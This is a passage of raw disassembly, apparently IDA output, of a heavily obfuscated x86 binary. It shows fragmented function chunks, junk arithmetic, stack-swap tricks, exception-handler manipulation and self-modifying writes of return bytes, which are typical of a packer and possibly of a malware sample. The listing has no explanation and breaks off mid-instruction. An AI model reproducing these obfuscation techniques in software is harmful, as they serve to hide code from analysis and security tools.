sub_74B525 ; --------------------------------------------------------------------------- sbb ebx, 3D123BDCh jmp sub_74BFF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_74F0C0: ; CODE XREF: sub_7557E7+179Ej mov [ecx], eax pop ecx lea eax, loc_75763E mov byte ptr [eax], 0C3h jmp loc_74C02C ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- loc_74F0D1: ; CODE XREF: _0z4jwtox:00753275j pop ecx mov eax, [ebp-4] mov al, [eax] jnb loc_7454C5 sub al, 99h mov edx, [ebp-4] jmp loc_7539D0 ; --------------------------------------------------------------------------- loc_74F0E7: ; DATA XREF: sub_74B305+842Eo push 7C6D263Eh pop ecx or ecx, 0A43D8997h test ecx, 1000h jmp loc_74EFBF ; --------------------------------------------------------------------------- mov ebx, 0D1909h and edi, eax jmp sub_748B7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_74F10A: ; CODE XREF: sub_7474B9+E2ADj add eax, 0F056A792h sbb ebx, eax jmp loc_74F6F3 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- loc_74F117: ; CODE XREF: _0z4jwtox:loc_75140Ej sub al, 99h push 0A3BE8579h jmp loc_745A88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_74F123: ; CODE XREF: sub_747290+9910j add eax, 0C7871644h push ecx pushf push 744CB852h pop ecx and ecx, 0CFBA23A9h jmp loc_756C74 ; END OF FUNCTION CHUNK FOR sub_747290 ; =============== S U B R O U T I N E ======================================= sub_74F13C proc near ; CODE XREF: sub_7475DD:loc_74CC1Ep ; _0z4jwtox:0074D54Ej xchg eax, [esp+0] pop eax mov esp, ebp pop ebp retn sub_74F13C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74F144 proc near ; CODE XREF: _0z4jwtox:007539DAp ; sub_7475DD+F54Bp mov dword ptr [eax], 0 retn sub_74F144 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_300. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C8E loc_74F14C: ; CODE XREF: sub_752C8E:loc_74E50Bj test edx, 10h jmp loc_750490 ; END OF FUNCTION CHUNK FOR sub_752C8E ; --------------------------------------------------------------------------- loc_74F157: ; CODE XREF: _0z4jwtox:00751FE3j xor edi, 0C9539875h ; =============== S U B R O U T I N E ======================================= sub_74F15D proc near ; CODE XREF: sub_74B01A+5661p ; sub_74E762+8BA7j var_8 = dword ptr -8 arg_4 = dword ptr 8 arg_C = dword ptr 10h ; FUNCTION CHUNK AT 007452BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007466AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074991A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A3FA SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074E5E6 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074F560 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00750465 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00750912 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00751550 SIZE 00000005 BYTES xchg eax, [esp+8+var_8] pop eax pop ebx loc_74F162: ; CODE XREF: sub_74C670:loc_7520F1j ; sub_747736:loc_754911j jnb loc_750465 mov eax, [esp+0] jmp loc_74A3FA sub_74F15D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_74F170: ; CODE XREF: sub_74724C+7j add edx, 877C0BAEh sub edx, 16C6934Ah and edx, 7D69B0A9h add edx, 0C434F75Fh xchg edx, [esp+4+var_4] jmp loc_75078A ; END OF FUNCTION CHUNK FOR sub_74724C ; --------------------------------------------------------------------------- push 6457FB99h xchg edx, [esp] mov eax, edx pop edx sub eax, 89181220h jmp loc_74F781 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749254 loc_74F1A6: ; CODE XREF: sub_749254:loc_74F290j push eax mov eax, edx xchg eax, [esp+8+var_8] push esi push 9D909592h pop esi sub esi, 8CC83B5Fh xor esi, 0C1B752A1h jmp loc_754ED9 ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- shl ecx, 5 jmp sub_747968 ; --------------------------------------------------------------------------- loc_74F1CC: ; CODE XREF: _0z4jwtox:00750517j jz loc_7524DD add ebp, ecx ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_74F1D4: ; CODE XREF: sub_74AE46:loc_747477j rol ecx, 1 add ecx, 3C79A5C1h xor ecx, 827A0ECCh jmp loc_74FAC9 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; =============== S U B R O U T I N E ======================================= sub_74F1E7 proc near ; DATA XREF: _0z4jwtox:0074E63Do ; FUNCTION CHUNK AT 0075274F SIZE 00000005 BYTES mov [edi], eax pop edi lea eax, nullsub_276 mov byte ptr [eax], 0C3h jmp loc_75274F sub_74F1E7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74F1F8: ; CODE XREF: _0z4jwtox:0074DE04j jg loc_74CE6D ; =============== S U B R O U T I N E ======================================= sub_74F1FE proc near ; CODE XREF: _0z4jwtox:0075394Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007454FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00745E6E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074C16B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00752EE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756264 SIZE 00000006 BYTES xchg ebx, [esp-4+arg_0] pop ebx xchg eax, [esp+0] jmp loc_745E6E sub_74F1FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74F20A: ; DATA XREF: sub_7544F1-6048o pop edi push edi pushf push 0EE3E8070h pop edi or edi, 0E0F26056h jmp loc_74DAC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74870B loc_74F21E: ; CODE XREF: sub_74870B:loc_7551C3j mov [ebp-4], eax jmp loc_748BF1 ; END OF FUNCTION CHUNK FOR sub_74870B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_74F226 proc near ; CODE XREF: sub_746B7C+4p ; sub_749B76+A29p var_28 = dword ptr -28h var_20 = dword ptr -20h var_14 = dword ptr -14h ; FUNCTION CHUNK AT 00747074 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0075160B SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD8h mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_28], eax jmp loc_75160B sub_74F226 endp ; --------------------------------------------------------------------------- loc_74F23A: ; CODE XREF: _0z4jwtox:loc_747CB3j mov eax, 78BDA40Ah call sub_74CEEF ; START OF FUNCTION CHUNK FOR sub_7451D9 loc_74F244: ; CODE XREF: sub_7451D9+4C4Aj jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_7451D9 ; =============== S U B R O U T I N E ======================================= sub_74F249 proc near ; DATA XREF: _0z4jwtox:007452A2o mov edi, [edi] cmp eax, edi xchg ebp, [esp+0] mov edi, ebp pop ebp jb loc_75276D jmp loc_74C48F sub_74F249 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74F25E: ; CODE XREF: _0z4jwtox:00754B10j xchg ecx, [esp] jmp loc_74EB33 ; =============== S U B R O U T I N E ======================================= sub_74F266 proc near ; CODE XREF: sub_746C25:loc_74D8D7j ; FUNCTION CHUNK AT 007487E8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074F4E2 SIZE 00000005 BYTES push ebp pop eax xchg eax, [esp+0] mov ebp, esp call sub_747A94 loc_74F272: ; CODE XREF: _0z4jwtox:00751586j jmp loc_7487E8 sub_74F266 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_74F277: ; CODE XREF: sub_74C874+E0Aj jmp loc_7469B0 ; END OF FUNCTION CHUNK FOR sub_74C874 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752B0C loc_74F27C: ; CODE XREF: sub_752B0C-A4E5j jmp nullsub_12 ; END OF FUNCTION CHUNK FOR sub_752B0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462D6 loc_74F281: ; CODE XREF: sub_7462D6+3j jmp sub_75375E ; END OF FUNCTION CHUNK FOR sub_7462D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7453AD loc_74F286: ; CODE XREF: sub_7453AD+9j jmp loc_7563BD ; END OF FUNCTION CHUNK FOR sub_7453AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746DD8 loc_74F28B: ; CODE XREF: sub_746DD8:loc_7534ACj call sub_7564A7 ; END OF FUNCTION CHUNK FOR sub_746DD8 ; START OF FUNCTION CHUNK FOR sub_749254 loc_74F290: ; CODE XREF: sub_749254+61C4j jmp loc_74F1A6 ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E531 loc_74F295: ; CODE XREF: sub_74E531+9j jmp loc_74EEFB ; END OF FUNCTION CHUNK FOR sub_74E531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7574E3 loc_74F29A: ; CODE XREF: sub_7574E3-B88Bj jmp loc_74DFFF ; END OF FUNCTION CHUNK FOR sub_7574E3 ; --------------------------------------------------------------------------- jmp ds:dword_41F0CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- js loc_755A17 mov eax, [esp] jmp loc_756352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74F2B4: ; CODE XREF: sub_7501AF-7F57j mov [edx], al loc_74F2B6: ; CODE XREF: sub_7501AF:loc_74982Fj inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] loc_74F2BC: ; CODE XREF: _0z4jwtox:loc_746DD2j cmp byte ptr [eax], 2Eh jnz loc_74A0A3 mov eax, [ebp-20h] jmp loc_751103 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_74F2CD: ; CODE XREF: sub_7474B9:loc_75499Fj jz loc_752F44 loc_74F2D3: ; CODE XREF: _0z4jwtox:0074D9C0j jmp loc_74531A ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- ror ebx, 3 sub ecx, edx shl ebp, 0Fh jmp loc_752F43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_74F2E5: ; CODE XREF: sub_75622B:loc_749924j jl loc_74864C loc_74F2EB: ; CODE XREF: sub_756AC1+7j jmp loc_745CF5 ; END OF FUNCTION CHUNK FOR sub_75622B ; --------------------------------------------------------------------------- test esi, ebx jmp loc_74B558 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_74F2F7: ; CODE XREF: sub_74FA7E+E3Aj pop edi mov eax, 14582109h ; END OF FUNCTION CHUNK FOR sub_74FA7E ; START OF FUNCTION CHUNK FOR sub_749608 loc_74F2FD: ; CODE XREF: sub_749608-44D3j ; sub_749608:loc_747A2Bj ... jmp loc_74930A ; END OF FUNCTION CHUNK FOR sub_749608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_74F302: ; CODE XREF: sub_748723-13E3j ; sub_74FA7E+5631j pop ecx call sub_747882 loc_74F308: ; CODE XREF: _0z4jwtox:0074D6F7j jmp loc_755528 ; END OF FUNCTION CHUNK FOR sub_74FA7E ; =============== S U B R O U T I N E ======================================= sub_74F30D proc near ; CODE XREF: sub_749010+31C3j ; sub_753AADp ; FUNCTION CHUNK AT 0075154A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00752AC1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00753C01 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx push ebp mov ebp, esp jmp loc_752AC1 sub_74F30D endp ; --------------------------------------------------------------------------- mov [ecx], ebx jmp loc_7465D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_74F320: ; CODE XREF: sub_750638+16j xor edi, 2118A25Bh rol edi, 1 xor edi, 1D2CB746h add edi, ebp add edi, 60899B2Fh mov [edi], eax pop edi mov [ebp+var_100], 276E6143h jmp loc_7538F7 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F53E loc_74F348: ; CODE XREF: sub_74F53E:loc_745FFDj pop large dword ptr fs:0 add esp, 4 or eax, eax jnz loc_7534DB jmp loc_751E55 ; END OF FUNCTION CHUNK FOR sub_74F53E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A5E8 loc_74F35F: ; CODE XREF: sub_74A5E8+4j push edi push 0EC82278Ah pop edi xor edi, 7D8EF24Bh add edi, 0E7BDD166h call sub_74CA64 loc_74F377: ; DATA XREF: sub_74C2C9-54B0r ; _0z4jwtox:00748197w ... xor al, 0A1h mov dh, 80h loc_74F37B: ; DATA XREF: _0z4jwtox:0074B514w ; sub_751078+1r jl short $+2 ; END OF FUNCTION CHUNK FOR sub_74A5E8 ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_74F380: ; CODE XREF: sub_7541BA-45BAj jmp loc_748CBE ; END OF FUNCTION CHUNK FOR sub_7541BA ; --------------------------------------------------------------------------- db 0C1h, 92h, 8 dd 2B681F20h dword_74F38C dd 0 ; --------------------------------------------------------------------------- loc_74F390: ; CODE XREF: _0z4jwtox:007562BBj jmp loc_751EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_74F395: ; CODE XREF: sub_74724C+954Aj jmp loc_753CDB ; END OF FUNCTION CHUNK FOR sub_74724C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C5E loc_74F39A: ; CODE XREF: sub_746C5E+11j ; _0z4jwtox:00749C3Aj jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_746C5E ; --------------------------------------------------------------------------- db 0C4h dword_74F3A0 dd 0 ; sub_74FE55-90E0r ... ; --------------------------------------------------------------------------- loc_74F3A4: ; CODE XREF: _0z4jwtox:0074DC8Aj jmp loc_7533E4 ; --------------------------------------------------------------------------- db 79h, 0B1h, 0A2h dword_74F3AC dd 0C92B3757h, 8C5C2366h; --------------------------------------------------------------------------- fsub dword ptr [ebx+0] ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74F3B7: ; CODE XREF: sub_7501AF+10j jmp loc_74795D ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- dword_74F3BC dd 0 ; _0z4jwtox:loc_7539D5o ; --------------------------------------------------------------------------- loc_74F3C0: ; CODE XREF: _0z4jwtox:00746BF9j jg loc_74730D ; =============== S U B R O U T I N E ======================================= sub_74F3C6 proc near ; CODE XREF: sub_74721B+4E80p ; FUNCTION CHUNK AT 00753CF3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00756823 SIZE 00000003 BYTES xchg ecx, [esp+0] pop ecx push 2ECAC97Dh pop edx rol edx, 8 xor edx, 7769B7D2h sub edx, 4D492C2Ch jmp loc_753CF3 sub_74F3C6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74F3E4 proc near ; DATA XREF: sub_745911+A874o cmp al, 0C2h jz loc_747CE0 mov eax, [ebp-4] mov ax, [eax] push offset loc_754034 jmp nullsub_77 sub_74F3E4 endp ; --------------------------------------------------------------------------- loc_74F3FC: ; CODE XREF: _0z4jwtox:00747EF4j jle loc_74CBD2 ; =============== S U B R O U T I N E ======================================= sub_74F402 proc near ; CODE XREF: _0z4jwtox:00753DC7p xchg ebx, [esp+0] pop ebx lea eax, loc_745F8D mov byte ptr [eax], 0C3h jmp loc_745F8D sub_74F402 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749254 loc_74F414: ; CODE XREF: sub_749254:loc_745F8Dj pop edx mov eax, [esp-4+arg_0] jmp loc_74F290 ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- loc_74F41D: ; CODE XREF: _0z4jwtox:007531FFj push 0EBE94019h pop ecx add ecx, 1202417Eh or ecx, 63A98AFh jmp loc_74CC94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746128 loc_74F434: ; CODE XREF: sub_746128+926j push offset sub_75121F jmp loc_748BFE ; END OF FUNCTION CHUNK FOR sub_746128 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7452F3 loc_74F43E: ; CODE XREF: sub_7452F3+7A7j and edx, ecx adc ecx, 5B85E98Eh loc_74F446: ; CODE XREF: _0z4jwtox:loc_7498FBj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_74A3A3 jmp loc_7522A8 ; END OF FUNCTION CHUNK FOR sub_7452F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74F457: ; CODE XREF: sub_7543C5:loc_750161j ; _0z4jwtox:0075017Ej rol eax, 11h cmp eax, 6FA29481h jmp loc_74FA60 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_74F465: ; CODE XREF: _0z4jwtox:0074B3D1j mov ebx, edx xchg ebx, [esp] push eax adc eax, 0AE939017h jmp loc_74A6F1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74F477: ; CODE XREF: sub_747736+4351j jmp loc_7548FB ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74F47C: ; CODE XREF: sub_747C22+2AFj jmp loc_756905 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_74F481: ; CODE XREF: sub_7475CB+C545j xor eax, 24357663h add eax, ebp push esi push 6F2D246Ah pop esi or esi, 0A5158534h jmp loc_74B10E ; END OF FUNCTION CHUNK FOR sub_7475CB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_285. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74F49C: ; CODE XREF: _0z4jwtox:00756037j jmp loc_7512E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F69D loc_74F4A1: ; CODE XREF: sub_74F69D-681Fj jmp loc_74995B ; END OF FUNCTION CHUNK FOR sub_74F69D ; --------------------------------------------------------------------------- loc_74F4A6: ; CODE XREF: _0z4jwtox:0074E7FDj jb sub_7501AF sbb esi, ebp ; START OF FUNCTION CHUNK FOR sub_7459BC loc_74F4AE: ; CODE XREF: sub_7459BC:loc_747656j rol ebx, 5 cmp ebx, 0C0758A73h jmp loc_753EF5 ; END OF FUNCTION CHUNK FOR sub_7459BC ; --------------------------------------------------------------------------- loc_74F4BC: ; CODE XREF: _0z4jwtox:00748211j xchg esi, ebp jmp loc_74F776 ; --------------------------------------------------------------------------- loc_74F4C3: ; CODE XREF: _0z4jwtox:loc_7532C7j sub al, 99h push 8A326BA2h pop edx xor edx, 6709AD6Dh sub edx, 0FE46ED43h jnz loc_747224 ; START OF FUNCTION CHUNK FOR sub_749254 loc_74F4DD: ; CODE XREF: sub_749254+BC97j jmp sub_74A3AB ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F266 loc_74F4E2: ; CODE XREF: sub_74F266-6A79j jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_74F266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_74F4E7: ; CODE XREF: sub_747B31:loc_74D98Aj jz loc_754CF0 jmp loc_7451E7 ; END OF FUNCTION CHUNK FOR sub_747B31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_74F4F2: ; CODE XREF: sub_74AE67+71A4j cdq jmp loc_74D3D3 ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_74F4F8: ; CODE XREF: sub_747290+5EC0j mov eax, 1A355C70h call sub_746E93 push esi push 0C0389213h pop esi jmp loc_74C13C ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7545E0 loc_74F50E: ; CODE XREF: sub_7545E0+18j or esi, 99E630CFh add esi, 627DE036h xchg esi, [esp+0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_7545E0 ; --------------------------------------------------------------------------- jle loc_74FA50 jmp sub_748C3B ; --------------------------------------------------------------------------- loc_74F52D: ; DATA XREF: sub_7471C6+13o inc dword ptr [ebp-108h] inc dword ptr [ebp-104h] jmp loc_74EDF9 ; =============== S U B R O U T I N E ======================================= sub_74F53E proc near ; CODE XREF: _0z4jwtox:loc_7514A1p ; FUNCTION CHUNK AT 00745FFD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F348 SIZE 00000017 BYTES push large dword ptr fs:0 mov large fs:0, esp push dword ptr [ebp-10h] call sub_7451D9 jmp loc_745FFD sub_74F53E endp ; --------------------------------------------------------------------------- xor eax, ebp jmp sub_747003 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F15D loc_74F560: ; CODE XREF: sub_74F15D:loc_74991Aj xor ebx, 642CB197h jnz loc_74E5E6 ; END OF FUNCTION CHUNK FOR sub_74F15D ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_74F56C: ; CODE XREF: sub_74CBB7+CB6j jmp loc_75158B ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3EB loc_74F571: ; CODE XREF: sub_74C3EB+Cj jmp loc_756F67 ; END OF FUNCTION CHUNK FOR sub_74C3EB ; --------------------------------------------------------------------------- loc_74F576: ; CODE XREF: _0z4jwtox:0074698Aj jmp loc_75314A ; --------------------------------------------------------------------------- ror eax, 5 add ebx, 7B326871h push 5E7D49E8h jmp loc_74E5E0 ; --------------------------------------------------------------------------- loc_74F58E: ; CODE XREF: _0z4jwtox:0074BBE8j jz loc_753F15 ; =============== S U B R O U T I N E ======================================= sub_74F594 proc near ; CODE XREF: sub_75422B+Fp ; FUNCTION CHUNK AT 0074C177 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753350 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx sub ebx, 10000h mov eax, [ebx] neg eax jmp loc_74C177 sub_74F594 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_74F5A7: ; CODE XREF: sub_7557E7-EBE3j ; DATA XREF: sub_74CD80-5F12o push edi push offset loc_754010 jmp nullsub_243 ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- loc_74F5B2: ; CODE XREF: _0z4jwtox:00747A7Cj jg loc_752A47 ; =============== S U B R O U T I N E ======================================= sub_74F5B8 proc near ; CODE XREF: sub_7452F3+72BDp xchg edi, [esp+0] pop edi add esp, 0FFFFFFF8h mov [ebp-1], al cmp byte ptr [ebp-1], 0 push offset loc_74BE7C jmp nullsub_72 sub_74F5B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748723 loc_74F5D0: ; CODE XREF: sub_748723:loc_75665Bj mov ebp, eax xchg ebp, [esp+4+var_4] mov eax, edx call sub_745620 loc_74F5DC: ; CODE XREF: sub_7457B3+380Fj jmp loc_749210 ; END OF FUNCTION CHUNK FOR sub_748723 ; --------------------------------------------------------------------------- loc_74F5E1: ; CODE XREF: _0z4jwtox:00754C05j pushf jz loc_746CEA or eax, 4E0182D3h ; START OF FUNCTION CHUNK FOR sub_75427C loc_74F5EE: ; CODE XREF: sub_75427C+978j sub ebx, 0FAA1547Ch add ebx, 135DC91h popf jmp loc_7493F0 ; END OF FUNCTION CHUNK FOR sub_75427C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74F600: ; CODE XREF: sub_747AEC:loc_755624j jnb loc_754C6D xchg ecx, eax not ecx jle loc_745036 jmp loc_752192 ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_74F615 proc near ; CODE XREF: _0z4jwtox:0074A29Dj ; sub_748A22:loc_74A921p ; FUNCTION CHUNK AT 00748C4B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074AA6C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074AD93 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074B3A6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074C487 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074C584 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074E0DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754D11 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 007574C8 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp+8] call sub_7461EF loc_74F621: ; CODE XREF: sub_749115+6745j jmp loc_74C584 sub_74F615 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74F626: ; CODE XREF: _0z4jwtox:00749245j jmp nullsub_207 ; --------------------------------------------------------------------------- xor ebx, 338010C7h jmp sub_7558BD ; --------------------------------------------------------------------------- loc_74F636: ; CODE XREF: _0z4jwtox:loc_754187j mov eax, [esp] push edx call sub_74A5E8 mov eax, 6A74FD15h jmp loc_74BDBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_74F649: ; CODE XREF: sub_7473D1-260j or edx, 8F79D315h jmp loc_747F08 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- locret_74F654: ; CODE XREF: _0z4jwtox:007538A3j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571E0 loc_74F655: ; CODE XREF: sub_7571E0+18j jmp loc_746535 ; END OF FUNCTION CHUNK FOR sub_7571E0 ; --------------------------------------------------------------------------- locret_74F65A: ; CODE XREF: _0z4jwtox:loc_745A73j retn ; --------------------------------------------------------------------------- loc_74F65B: ; CODE XREF: _0z4jwtox:00754BC7j jmp nullsub_191 ; =============== S U B R O U T I N E ======================================= sub_74F660 proc near ; CODE XREF: sub_74A7D8+3E38p ; _0z4jwtox:00751E3Aj xchg eax, [esp+0] pop eax mov ds:dword_41F164, eax lea eax, nullsub_18 mov byte ptr [eax], 0C3h jmp nullsub_18 sub_74F660 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74F678 proc near ; CODE XREF: sub_4168FF+2Fp ; sub_74F678+5j ; DATA XREF: ... call sub_74F688 jmp ds:off_41F168 sub_74F678 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74F683: ; CODE XREF: sub_747C22+53AEj jmp loc_7572A2 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_74F688 proc near ; CODE XREF: sub_74F678p ; _0z4jwtox:00750E4Bj ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074536E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007463DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748D5E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074A854 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00750E50 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00753609 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075363C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007551B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075643F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007565D2 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00756BC9 SIZE 0000001E BYTES js loc_750E50 jmp loc_7551B9 sub_74F688 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74F693: ; CODE XREF: _0z4jwtox:00755A1Bj call sub_75364C call sub_7462FD ; =============== S U B R O U T I N E ======================================= sub_74F69D proc near ; CODE XREF: sub_748E68:loc_7466F6j ; sub_74BED4-2EC9j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00748E7B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074995B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074B5A1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074F4A1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007505CB SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00753A62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755390 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00756C1B SIZE 0000001E BYTES pop edx jno loc_748E7B mov eax, [esp-4+arg_0] push eax mov eax, ebp jmp 